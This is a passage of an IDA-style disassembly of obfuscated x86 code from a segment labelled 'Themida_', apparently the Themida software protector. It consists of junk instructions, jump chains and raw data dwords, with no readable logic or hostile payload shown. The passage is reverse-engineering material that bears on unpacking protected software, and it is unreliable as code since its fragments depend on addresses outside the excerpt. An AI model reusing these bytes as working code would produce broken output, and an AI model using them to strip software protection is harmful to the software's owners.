		dd 0E9D5F7EFh, 0FFFF5D17h, 0C581E589h, 4, 0FF6C09E9h, 59A725FFh
		dd 99E938A6h, 59000092h, 9DBF575Bh, 513AAA6Fh, 7E174EB9h
		dd 0E9CF093Eh, 0FFFFE0DEh
dword_59B67C	dd 240C8B66h, 0E9E08950h, 4FD7h, 33E9595Bh, 87FFFF6Ch
					; DATA XREF: Themida_:005908ECo
		dd 815C242Ch, 4C7h, 4C78300h, 79C268h, 243C8900h, 0FFB3DEE9h
		dd 0E32859FFh, 0FFA672E9h, 585A58FFh, 0EE9DD88h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B6BB:				; CODE XREF: Themida_:00592F50j
		pop	ebx
		sub	edx, 4
		jmp	loc_5A4CC5
; ---------------------------------------------------------------------------


loc_59B6C7:				; CODE XREF: Themida_:005A16B2j
		push	edx
		mov	edx, 75D54863h
		sub	edx, 39D2139Ch
		jmp	loc_59AA72
; ---------------------------------------------------------------------------
aQsR		db 'QéÐ',0
		align 2
word_59B6DE	dw 8B66h		; DATA XREF: Themida_:00590864o
		dd 0CAE9240Ch, 83000030h, 34FF04C4h, 0C4835924h, 788AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B6F6:				; CODE XREF: Themida_:0059646Aj
		xor	edx, 414D1D9Bh
		sub	esp, 4
		mov	[esp], edx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59B720:				; CODE XREF: Themida_:005A3F85j
		xor	dh, ah
		jmp	loc_598563
; ---------------------------------------------------------------------------


loc_59B727:				; CODE XREF: Themida_:00599988j
		inc	edx
		push	eax
		mov	eax, esp
		jmp	loc_591745
; ---------------------------------------------------------------------------
		dd 23C7BA52h, 0EA816BBBh, 7EAB1D53h, 0F047EA81h, 0D331A7E9h
		dd 0C4F3815Ah, 81240829h, 0AEF5C1C3h, 8BD82955h, 0C481241Ch
		dd 4, 0FF533AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B761:				; CODE XREF: Themida_:00591F1Bj
		shr	ebp, 2
		jmp	loc_5A2A5A
; ---------------------------------------------------------------------------


loc_59B769:				; CODE XREF: Themida_:00596890j
		mov	esi, 7BDD32A2h
		jmp	loc_592010
; ---------------------------------------------------------------------------
byte_59B773	db 0FFh			; DATA XREF: Themida_:005908FCo
		dd 48B2434h, 4C48324h, 4EA36850h, 0E9540000h, 496Bh
; ---------------------------------------------------------------------------


loc_59B788:				; CODE XREF: Themida_:005A3733j
		mov	esi, ebp
		pop	ebp
		pop	ecx
		sub	edx, esi
		pop	esi
		add	edx, edi
		jmp	loc_59F60B
; ---------------------------------------------------------------------------
aSs_1		db '(È鑜',0
		dd 5BDE0100h, 9158EE81h, 0F789F4C1h, 247C015Eh,	2C815F04h
		dd 1E16E724h, 0A6ECE97Eh, 2C89FFFFh, 0D9F36824h, 34FF1002h
		dd 0EC835D24h, 5E60E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A36FD
; ---------------------------------------------------------------------------
		dw 0DDF6h
		dd 0FFD4BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B7DD:				; CODE XREF: Themida_:005A2FE4j
		push	esi
		mov	esi, 0AFD4F85h
		sub	esp, 4
		mov	[esp], esi
		xchg	edi, [esp]
		neg	edi
		jmp	loc_5A3F53
; ---------------------------------------------------------------------------
		dw 0EF29h
		dd 34FF5E5Dh, 0C4835924h, 78F16804h, 0E90000h, 0B800007Fh
		dd 4, 7AE9C701h
		db 2Eh,	2 dup(0)
byte_59B817	db 0FFh			; DATA XREF: Themida_:00590A50o
		dd 48B2434h, 0E3895324h, 0FF859DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B825:				; CODE XREF: Themida_:00590C9Ej
		mov	eax, 154B675Ch
		jmp	loc_5A401A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483241Ch, 24048F04h, 526E9h
		db 0
byte_59B841	db 66h,	8Bh, 4		; DATA XREF: Themida_:00590890o
		dd 0E9545724h, 4FFh
; ---------------------------------------------------------------------------


loc_59B84C:				; CODE XREF: Themida_:00599ACEj
		or	edx, esi
		pop	esi
		add	edx, 8B83955Eh
		add	edi, 711A5087h
		add	edi, edx
		sub	edi, 711A5087h
		mov	edx, [esp]
		jmp	loc_5A19F1
; ---------------------------------------------------------------------------
		db 81h
		dd 7D6EBEC2h, 81CA016Ch, 7D6EBEEAh, 0EC81596Ch,	4, 0E9241489h
		dd 5C5Dh, 0F3E9FB89h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B88F:				; CODE XREF: Themida_:0059FD4Bj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 0E780A8Ch
		jmp	loc_594CA3
; ---------------------------------------------------------------------------


loc_59B8A0:				; CODE XREF: Themida_:00596F60j
		add	esp, 4
		or	cl, 38h
		add	cl, 28h
		push	6122h
		jmp	loc_5A2FA3
; ---------------------------------------------------------------------------
		dw 0C6B7h
		dd 0E95BFA30h, 0E74h, 0F7E95153h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B8C7:				; CODE XREF: Themida_:0059D9A5j
		push	ebp
		jmp	loc_591FDA
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0FFh
		dd 524A966Fh, 0C50A0CBAh, 8BD00105h, 0C4812414h, 4, 0DC01E335h
		dd 319D0525h, 0EF81490Bh, 135B6DAEh, 1CA4E9h, 0F7814700h
		dd 212B2FBBh, 2A42B951h, 11E933CFh, 8B000012h, 0C4812414h
		dd 4, 95BD821h,	53E2D1C2h, 241C8B54h, 8104C483h, 4C3h
		dd 4EB8300h, 8B241C87h,	3BE92424h, 59000042h, 2C8BE831h
		dd 5C0AE924h, 3C89FFFFh, 4BF24h, 6C810000h, 3B1E0424h
		dd 53E927AAh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B957:				; CODE XREF: Themida_:005A2427j
		neg	ch
		push	dx
		mov	dh, 0D1h
		xor	ch, dh
		pop	dx
		and	ch, 0D8h
		add	ch, 0B2h
		sub	ch, 0A2h
		sub	dl, ch
		mov	ecx, [esp]
		jmp	loc_5976F8
; ---------------------------------------------------------------------------
		dd 64A4F581h, 0ED811676h, 6FD02A79h, 81D5F745h,	30636EC5h
		dd 84E95667h, 5A000019h, 8058E500h, 0F580EBCDh,	0FFE8301Ch
		dd 0CE92434h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B9A3:				; CODE XREF: Themida_:005914F7j
		add	ecx, edi
		jmp	loc_59646F
; ---------------------------------------------------------------------------
		dw 0FE29h
		dd 0E9243C8Bh, 20F2h
; ---------------------------------------------------------------------------


loc_59B9B4:				; CODE XREF: Themida_:0059D5B8j
		mov	edi, 3663251Dh
		neg	edi
		add	edi, 6FDC0449h
		or	edi, 2406672Ch
		xor	edi, 1F3F8FD1h
		jmp	loc_592F93
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 0FF8E6CE9h, 5EF231FFh, 0FF7492E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B9E5:				; CODE XREF: Themida_:005A2CE7j
		pop	ecx
		or	ebp, eax
		jmp	loc_596B67
; ---------------------------------------------------------------------------


loc_59B9ED:				; CODE XREF: Themida_:00599A79j
		add	esi, edi
		jmp	loc_5933D3
; ---------------------------------------------------------------------------
		dd 0D6F7F187h, 0EC83F187h, 243C8904h, 777A77BFh, 6F04E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BA0A:				; CODE XREF: Themida_:005A0066j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_5A1D12
; ---------------------------------------------------------------------------
		db 81h
		dd 59D8B5C3h, 0E9D9290Fh, 2E65h, 6624248Bh, 0D30C381h
		dd 31EB8166h, 0C329660Ch, 31C38166h, 0EB81660Ch, 56660D30h
		dd 32D1E9h, 0D0C58100h,	100192Bh, 0C335DE9h, 396BE924h
		dd 0BA520000h, 2A2A439Eh, 0C2EA8142h, 0F7158D4Bh, 81DAF7D2h
		dd 76DD3EEAh, 5AD68909h, 0C247429h, 81E9535Eh, 89FFFFD4h
		dd 7E08E9E5h
		db 2 dup(0)
word_59BA86	dw 77FFh		; DATA XREF: Themida_:005908D4o
		dd 58669D1Ch, 24041166h, 5005E99Ch, 0D004FFFFh,	804FB753h
		dd 0DFF615E7h, 0D008E7C0h, 7E7C0EFh, 8053B551h,	0EF28EEF5h
		dd 0FF651BE9h, 81E389FFh, 4C3h,	4B85000h, 1000000h, 0EC8358C3h
		dd 241C8904h, 42474FFh,	24048F5Bh, 0E289525Ch, 4C281h
		dd 0EA830000h, 0CD7FE904h, 0E189FFFFh, 4C181h, 51520000h
		dd 524E6BB9h, 0B199BA68h, 0CA0197ADh, 1821E959h, 0E7890000h
		dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 42474FFh
		dd 1ED8E95Bh, 0EC830000h, 68BCE904h, 0E8010000h, 33D3255Dh
		dd 0C14073E2h, 29E906E0h, 81FFFFF9h, 806062EFh,	5FF8890Eh
		dd 89C18951h, 15859CAh,	0C5835AD5h, 242C8704h, 0E01E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BB55:				; CODE XREF: Themida_:005A1050j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_591016
; ---------------------------------------------------------------------------


loc_59BB69:				; CODE XREF: Themida_:0059E6F8j
		push	esp
		jmp	loc_5A1CD7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4C48104h, 51000000h, 256A9B9h, 5AF56802h
		dd 5BE90000h, 81000024h, 4ECh, 24248900h, 4240481h, 5A000000h
		dd 6FC768h, 0A5D2E900h,	0BB53FFFFh, 0E6D0A84h, 4984EB81h
		dd 0E3C1685Bh, 3EBC108h, 0E69AC381h, 65E91EDEh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BBC3:				; CODE XREF: Themida_:005A1E13j
		push	eax
		mov	eax, 17C10C0Eh
		jmp	loc_593AD0
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 42685A24h, 89000005h, 0BB532404h, 0
		dd 89DA8952h, 55B5AD0h,	1F8D0E33h, 632D68h, 24348900h
		dd 533064BEh, 0E9F00163h, 0FFFFF2EFh, 4C481h, 0C1810000h
		dd 0C3D0BC01h, 34FFCB89h, 0E9575924h, 0FFFF5B48h, 8044EB80h
		dd 0D6E978C3h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BC23:				; CODE XREF: Themida_:005A0A2Bj
		push	eax
		mov	eax, 47C13A57h
		neg	eax
		push	ebp
		mov	ebp, 8B9EDC26h
		jmp	loc_5A3E4A
; ---------------------------------------------------------------------------
		dw 8957h
		dd 0A732E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BC3E:				; CODE XREF: Themida_:00593346j
		sub	ebx, 0EE056062h
		mov	ecx, ebx
		jmp	loc_59E567
; ---------------------------------------------------------------------------
		db 55h
		dd 63054DBDh, 3CD8113h,	813CFD46h, 9B7C77F5h, 95FAE916h
		dd 0C281FFFFh, 44915E4Ah, 7B7D6853h, 11E90000h,	81FFFF67h
		dd 0C16F87C6h, 4E90E951h, 0FB350000h, 0E928E94Ch, 3DCAh
		dd 87B7535Ch, 0E9C5B450h, 0FFFF636Dh, 33242C31h, 248B242Ch
		dd 24048924h, 0F9240481h, 0FF738D25h, 34FF2434h, 0C4815824h
		dd 4, 0E904C483h, 48E0h, 158C689h, 0E9535EF2h, 18FEh
; ---------------------------------------------------------------------------


loc_59BCC8:				; CODE XREF: Themida_:0059A5ECj
		push	ebp
		mov	ebp, 4
		sub	ebx, 4A9E7E49h
		add	ebx, ebp
		add	ebx, 4A9E7E49h
		jmp	loc_5A06A6
; ---------------------------------------------------------------------------


loc_59BCE1:				; CODE XREF: Themida_:0059CABFj
		pop	eax
		not	eax
		jmp	loc_5A0E6F
; ---------------------------------------------------------------------------
		db 68h,	67h, 0
		dd 3C890000h, 4EC8124h,	89000000h, 4832424h, 3C8B0424h
		dd 0E1895124h, 4C181h, 0C1830000h, 762CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BD12:				; CODE XREF: Themida_:005A193Dj
		mov	[esp], ebp
		jmp	loc_5A21B7
; ---------------------------------------------------------------------------


loc_59BD1A:				; CODE XREF: Themida_:005A5B97j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_599AED
; ---------------------------------------------------------------------------


loc_59BD2B:				; CODE XREF: Themida_:00598858j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		push	esp
		jmp	loc_590FB2
; ---------------------------------------------------------------------------


loc_59BD3D:				; CODE XREF: Themida_:0059F80Cj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A15E6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835F2434h, 525504C4h, 4BAh, 5AD58900h, 413EF81h, 27E96154h
		dd 8B000001h, 0C80F2424h, 3FA368h, 8A80E900h, 0F6B90000h
		dd 496D8D7Eh, 0FF56C6E9h, 7918BDFFh, 0ED8119DFh, 3FA72FF5h
		dd 0E5C1D5F7h, 5425E904h, 2C8B0000h, 4C48124h, 0E9000000h
		dd 0FFFFCB39h
; ---------------------------------------------------------------------------


loc_59BDA4:				; CODE XREF: Themida_:00595A1Aj
		add	ecx, eax
		pop	eax
		jmp	loc_59E7DE
; ---------------------------------------------------------------------------
		dd 57D82966h, 5355BF66h, 66D7F766h, 679AF781h, 64C78166h
		dd 69D9E9A1h, 4747FFFFh, 372FBB53h, 49E915E8h, 81000018h
		dd 4ECh, 242C8900h, 8324348Bh, 815D04C4h, 0B7324CC6h, 9B87E92Dh
		dd 0FFBAFFFFh, 1FFFFFFh, 0BD555AD6h, 7DDB31A9h,	0E9FD3145h
		dd 0FFFFB37Eh, 976DDBBEh, 87FDE91Eh, 0C781FFFFh, 2BC042F3h
		dd 4EDF684Fh, 1C890000h, 0CD01BB24h, 0DF313627h, 0E92434FFh
		dd 0FFFF59D0h, 2404895Ch, 0E949B151h, 7F1Ah, 88C18851h
		dd 48B59CEh, 0E7895724h, 4C781h, 0C7830000h, 4469E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BE52:				; CODE XREF: Themida_:00592EBBj
		and	ecx, 0CA14D9Eh
		xor	ecx, 0C816980h
		mov	edi, ecx
		pop	ecx
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_597987
; ---------------------------------------------------------------------------
		db 81h
		dd 5B3825EDh, 5761E955h, 0BD55FFFFh, 217B2556h,	25C2E581h
		dd 0ED813647h, 380D46B2h, 0F77FE945h, 0EF01FFFFh, 2A5DBB53h
		dd 0BE567316h, 706C2A58h, 72E9F321h, 0B5FFFFF5h, 0A3F580C8h
		dd 0FE59EB88h, 4D8DE9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BEB2:				; CODE XREF: Themida_:005A30CAj
		shl	dh, 4
		sub	dh, 2Bh
		sub	esp, 2
		mov	[esp], dx
		xchg	bh, [esp+1]
		not	bh
		jmp	loc_59270E
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 1000000h, 81C581D5h, 0E977D22Fh, 0FFFF8DE6h
		dd 83240C8Bh, 0C48304C4h, 243C8B04h, 0E9E28952h, 104Ah
		dd 0DEE95557h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BEFB:				; CODE XREF: Themida_:0059FD17j
		sub	ebx, eax
		add	ebx, 83006C0h
		push	ecx
		jmp	loc_59243D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 0EC812404h, 4,	0BB28E954h
		db 2 dup(0FFh)
word_59BF22	dw 8B66h		; DATA XREF: Themida_:0059099Co
		dd 0D3682404h, 89000024h, 0EC832404h, 24248904h, 501CE9h
		dd 24148B00h, 0E9E38953h, 0FFFF6660h
; ---------------------------------------------------------------------------


loc_59BF44:				; CODE XREF: Themida_:005A220Aj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		push	507C3885h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59995F
; ---------------------------------------------------------------------------
		dd 912534BAh, 5BDA2921h, 4EC81h, 64E90000h, 8BFFFF7Ah
		dd 0C4812404h, 4, 0C181D901h, 74306113h, 4EC835Bh, 53243489h
		dd 8113E9h, 1D3BB00h, 0D3F706EEh, 3A06BD55h, 0EB096D2Ch
		dd 0FFEC84E9h, 4C483FFh, 50E68956h, 6B78E9h, 241C8B00h
		dd 8104C483h, 3015D8E3h, 1BC38127h, 530B12DDh, 0C6895B58h
		dd 582434FFh, 50E28952h, 3A69A9B8h, 5E8C10Bh, 511BF57h
		dd 89E970A3h, 0B8FFFFACh, 27EB4B40h, 8158C329h,	0A95CDDEFh
		dd 0EEBD5504h, 16A4F5Fh, 0DF015DEFh, 5FEEEF81h,	0C7816A4Fh
		dd 4A95CDDh, 0E9241C8Bh, 0FFFF57C5h, 0C8E9F329h, 83000031h
		dd 77E904C4h, 68FFFF81h, 0FFEEF596h, 81242C8Bh,	4C4h, 1E880500h
		dd 0E8293726h, 1B4FBF57h, 0E7C16F57h, 0FFC78308h, 0B8CB951h
		dd 0CF293EA5h, 0E3E95059h, 2D000006h, 67FD7437h, 0AFB03548h
		dd 0C3898C71h, 9150E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C06D:				; CODE XREF: Themida_:005941D7j
		pop	ebx
		sub	ebx, 2F5975A7h
		push	38E4h
		mov	[esp], edx
		mov	edx, 0FBFA76F4h
		jmp	loc_5930FB
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 860DF181h, 0CF898CC6h, 0E9F83159h, 0FFFFA967h
; ---------------------------------------------------------------------------


loc_59C098:				; CODE XREF: Themida_:005A0563j
		push	edi
		mov	edi, 5BFF4A4Fh
		jmp	loc_599A73
; ---------------------------------------------------------------------------


loc_59C0A3:				; CODE XREF: Themida_:0059C9E4j
		add	edi, 22F56F11h
		sub	edi, 0BBD5DF35h
		sub	eax, 39511111h
		add	eax, edi
		add	eax, 39511111h
		pop	edi
		push	ebx
		jmp	loc_59984D
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 63F32B38h, 2EAAE9h, 5BFD8800h, 0FFED8058h, 0FFEDB8E9h
		dd 0D8285AFFh, 77B5515Bh, 0E8C580h, 58A4E9EBh, 8158FFFFh
		dd 4C7h, 243C8700h, 3E2D665Ch, 94056627h, 0FCAAE96Ch, 0C281FFFFh
		dd 4, 348F68h, 24148900h, 79DCE9h, 4C48100h, 0C1000000h
		dd 0C38105E3h, 0D8D633Eh, 0FFF478E9h, 4C681FFh,	87000000h
		dd 815C2434h, 4C3h, 2BD5500h, 0E9000000h, 6108h
; ---------------------------------------------------------------------------


loc_59C144:				; CODE XREF: Themida_:005A1494j
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_5930D1
; ---------------------------------------------------------------------------


loc_59C151:				; CODE XREF: Themida_:00599866j
		xor	ebx, 678C407Fh
		add	ebx, 0FEF6D822h
		sub	eax, ebx
		pop	ebx
		sub	eax, edx
		push	ebx
		mov	ebx, 382C02D7h
		jmp	loc_5A0ECB
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FA010000h, 2414875Fh, 4C4835Ch, 8B24048Fh, 8B662424h
		dd 0EC812404h, 4, 322AE9h, 65FD6800h, 4890000h,	724D6824h
		dd 44E97DD5h, 80000041h, 25E901EBh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C1AB:				; CODE XREF: Themida_:005A3117j
		mov	cx, [esp]
		push	32Eh
		mov	[esp], ebx
		jmp	loc_59B154
; ---------------------------------------------------------------------------
		dd 0E9241433h, 46C5h
; ---------------------------------------------------------------------------


loc_59C1C4:				; CODE XREF: Themida_:005A2AA3j
		pop	dx
		push	2EEEh
		mov	[esp], ebx
		push	769h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 9Fh
		neg	ah
		push	edx
		mov	dl, 54h
		jmp	loc_5A240F
; ---------------------------------------------------------------------------


loc_59C1EB:				; CODE XREF: Themida_:0059119Cj
		mov	esi, 738F7BE1h
		shr	esi, 4
		push	eax
		jmp	loc_5A1A39
; ---------------------------------------------------------------------------
byte_59C1F9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005908F4o
		dd 592434FFh, 8904EC83h, 0E2892414h, 0BCBDE956h, 7868FFFFh
		dd 89000030h, 0BD55241Ch, 1E71162Ch, 3A79C6BBh,	8BEB310Bh
		dd 8950242Ch, 405E0h, 0C0830000h, 24048704h, 23C8E95Ch
		dd 58590000h, 0E902C283h, 3D02h
; ---------------------------------------------------------------------------


loc_59C244:				; CODE XREF: Themida_:0059AA74j
		pop	edx
		sub	esi, 27C023BFh
		jmp	loc_590E6A
; ---------------------------------------------------------------------------
		dd 9DFEBDB8h, 58C13191h, 5659C831h, 0D653E5BEh,	0D51FE90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C266:				; CODE XREF: Themida_:005A5745j
		xor	edx, 38F740h
		jmp	loc_593A2A
; ---------------------------------------------------------------------------


loc_59C271:				; CODE XREF: Themida_:00591BFEj
		sub	edi, 44AD59C5h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		push	eax
		mov	eax, 657321F9h
		add	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 19BF6875h
		dec	ebp
		inc	ebp
		sub	ebp, 0DB0E666Dh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_593FDD
; ---------------------------------------------------------------------------
aIYst		db 'ˆÊYét(',0
		align 4
		dd 8DBAC681h, 0F589C33Ah, 0E924348Bh, 0FFFFBE60h, 1BBD68h
		dd 240C8900h, 5404EC83h, 8124048Fh, 42404h
		db 2 dup(0), 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_591269
; ---------------------------------------------------------------------------
		db 81h
		dd 356929F2h, 97E28173h, 817ADA34h, 8F2428F2h, 3805E93Bh
		dd 0DA290000h, 5AD5215Bh, 56FFED83h, 0FFD499E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C301:				; CODE XREF: Themida_:00598567j
		xor	[esp+1], dh
		xor	dh, [esp+1]
		xor	[esp+1], dh
		mov	cx, [esp]
		jmp	loc_59E066
; ---------------------------------------------------------------------------
		dw 0CFBDh
		dd 81192A18h, 0D97C44CDh, 0E9E5D106h, 5812h, 8143E3D1h
		dd 0D373EECBh, 0E9E3D110h, 5Eh,	0C104E6C1h, 0F68106E6h
		dd 0D6E22F5Eh, 0FFE5D8E9h, 5BD901FFh, 5E41E981h, 0BF576603h
		dd 56A3058Eh, 0E95FF929h, 1661h
; ---------------------------------------------------------------------------


loc_59C360:				; CODE XREF: Themida_:00598937j
		pop	esp
		jmp	loc_598C16
; ---------------------------------------------------------------------------
		dw 0F791h
		dd 89BB53D0h, 0C16AEA2Dh, 814308E3h, 49B217F3h,	7B6205CFh
		dd 0D82959B8h, 0FFB91CE9h, 0E95A5BFFh, 0FFFFD270h, 515868h
		dd 673EE900h, 0EB810000h, 0FEB5A8ADh, 0FF5E5DE9h, 0E9E089FFh
		dd 442Ah
; ---------------------------------------------------------------------------


loc_59C3A8:				; CODE XREF: Themida_:00595B76j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_593852
; ---------------------------------------------------------------------------
		db 68h,	8Fh, 72h
		dd 0C890000h, 940DE924h, 0C9810000h, 4E3670ADh,	0FFE98349h
		dd 0A9E18149h, 8176D51Ah, 82B68CE9h, 59CA895Ah,	48D4BD55h
		dd 0EA3110ECh, 2153E9h,	2434FF00h, 0E089505Bh, 405h, 40500h
		dd 81E90000h, 83000040h, 348B04C4h, 2B30E924h, 0C6810000h
		dd 4, 51E7E9h, 0FE62B100h, 67DAE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C422:				; CODE XREF: Themida_:005918C0j
		pop	edx
		sub	ebx, edi
		jmp	loc_59555C
; ---------------------------------------------------------------------------


loc_59C42A:				; CODE XREF: Themida_:005A249Bj
		add	esp, 4
		jmp	loc_59D09B
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 240C875Eh, 6624248Bh, 66C8BE0Fh, 663FB268h, 0E9240C89h
		dd 0FFFF464Bh, 5324148Bh, 5404EC83h, 0FFEA2CE9h, 68D831FFh
		dd 3ACh, 0BD242C89h, 51966536h,	1BB53h,	0BA520000h, 25C17F89h
		dd 73ACE9h, 5FFA0100h, 626C68h,	61B1E900h, 8766FFFFh, 0F766241Ch
		dd 1C8766D3h, 348B6624h, 2C48324h, 0E902EC83h, 796Fh
dword_59C4A4	dd 9D1C77FFh, 4185866h,	0E8E99C24h, 8BFFFF45h, 0C4812404h
					; DATA XREF: Themida_:005907F4o
		dd 4, 0FFFECBE9h, 46E956FFh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C4C7:				; CODE XREF: Themida_:00597B27j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 513D69B2h
		jmp	loc_59E32A
; ---------------------------------------------------------------------------


loc_59C4D8:				; CODE XREF: Themida_:005A2D34j
		sub	ebx, 5DC346CCh
		push	dword ptr [esp]
		jmp	loc_591225
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 4C281h, 14330000h,	24143124h, 8B241433h, 0C6682424h
		dd 89000021h, 0FEE9241Ch, 47000048h, 7D4068h, 24348900h
		dd 0FFC6B9E9h, 8EFC1FFh, 0FF5A47E9h, 45BE56FFh,	814F9E4Bh
		dd 0A66740EEh, 0E3E9572Fh, 1FFFFBAh, 0C68158C6h, 86E4EDFh
		dd 0EE81EE01h, 86E4EDFh, 1DEABF57h, 0E7D10B37h,	0B79BE947h
		dd 0E189FFFFh, 4C181h, 0A5E90000h, 68FFFFC5h, 4, 8CC8E9h
		dd 9E685700h, 5F4DFA24h, 12EF814Fh, 89D621BCh, 40405FF8h
		dd 669BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C581:				; CODE XREF: Themida_:0059709Dj
		shl	ebx, 5
		jmp	loc_5971AE
; ---------------------------------------------------------------------------
		db 5Dh,	52h, 0BAh
		dd 4, 0CCE9D501h, 6600008Bh, 66243489h,	0F7243481h, 6658667Ch
		dd 667CF735h, 0E958C389h, 0FFFFDDAFh
; ---------------------------------------------------------------------------


loc_59C5B0:				; CODE XREF: Themida_:00597B75j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5A034A
; ---------------------------------------------------------------------------
		dd 0C102E2C1h, 0BFE908E2h, 8100006Dh, 4C1h, 4C18300h, 0E9240C87h
		dd 0FFFFA9DCh, 4C181h, 89510000h, 4C181E1h, 0E9000000h
		dd 0FFFF906Fh, 5FF90158h, 2190C181h, 0E9813B84h, 3F15BEEh
		dd 0C9E9F101h, 81FFFFB5h, 557D3CF6h, 81D6F711h,	94A430F6h
		dd 5EF52983h, 6E9DDF7h
		db 32h,	2 dup(0)
byte_59C623	db 8Bh			; DATA XREF: Themida_:00590A44o
		dd 0E957240Ch, 11EFh, 0E9C2015Eh, 0FFFFF62Eh, 88240489h
		dd 1C1468CCh, 14890000h, 88E68824h, 48B5AF3h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF5A31h, 0ED81F501h
		dd 79705EDBh, 8324348Bh, 0C58104C4h, 4,	5C242C87h, 95A68h
		dd 24048900h, 57D668h, 4C73E900h, 48FFFFFh, 24248B24h
		dd 2404FF66h, 4401E99Ch, 0EA88FFFFh, 0D588D2F6h, 2E5C05Ah
		dd 0E9C9F580h, 0FFFFD105h
dword_59C6AC	dd 8B2434FFh, 5455240Ch, 83242C8Bh, 0C58104C4h,	4, 3304C583h
					; DATA XREF: Themida_:0059081Co
		dd 2C31242Ch, 242C3324h, 6824248Bh, 2BA7h, 5C80E9h, 0E3685100h
		dd 5968B840h, 2F97C181h, 0D1F72E52h, 14E9D987h,	66FFFFEBh
		dd 3166F931h, 7986E9CFh, 0D02DFFFFh, 0E945A51Ch, 43DEh
		dd 147CB850h, 9BE9073Fh, 8100005Dh, 1279FBEBh, 5BDE01CCh
		dd 7D7DE9h, 0FFC18300h,	0D5F7E987h, 5052E987h, 0EE7D88B8h
		dd 0E9C28958h, 16EFh, 8851C280h, 984EE9D3h, 0FEB8FFFFh
		dd 21306012h, 4405E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C74A:				; CODE XREF: Themida_:00594B7Ej
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59CE98
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 7
		dd 5F39B625h, 0F518E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C766:				; CODE XREF: Themida_:005963A7j
		mov	bl, cl
		pop	ecx
		pop	eax
